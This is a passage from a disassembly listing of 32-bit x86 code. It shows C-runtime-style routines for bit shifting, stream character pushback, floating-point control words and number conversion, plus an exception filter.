		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB2A8, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB374
		call	near ptr 2820000h
		nop
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCA8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CCC0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB4A0
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB4C8, eax
		add	esp, 18h
		movsx	eax, byte_4DB4A2
		mov	dword_4DB4C0, eax
		pop	edi
		movsx	eax, word_4DB4A0
		mov	dword_4DB4C4, eax
		mov	dword_4DB4CC, offset dword_4DB4A4
		mov	eax, offset dword_4DB4C0
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8E8o
					; ___:0043D148o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4D0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4D0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1CBD62E8h], dl
		add	ah, byte ptr dword_4DB4D0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4D035h, 50E89000h, 0C3021CBDh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
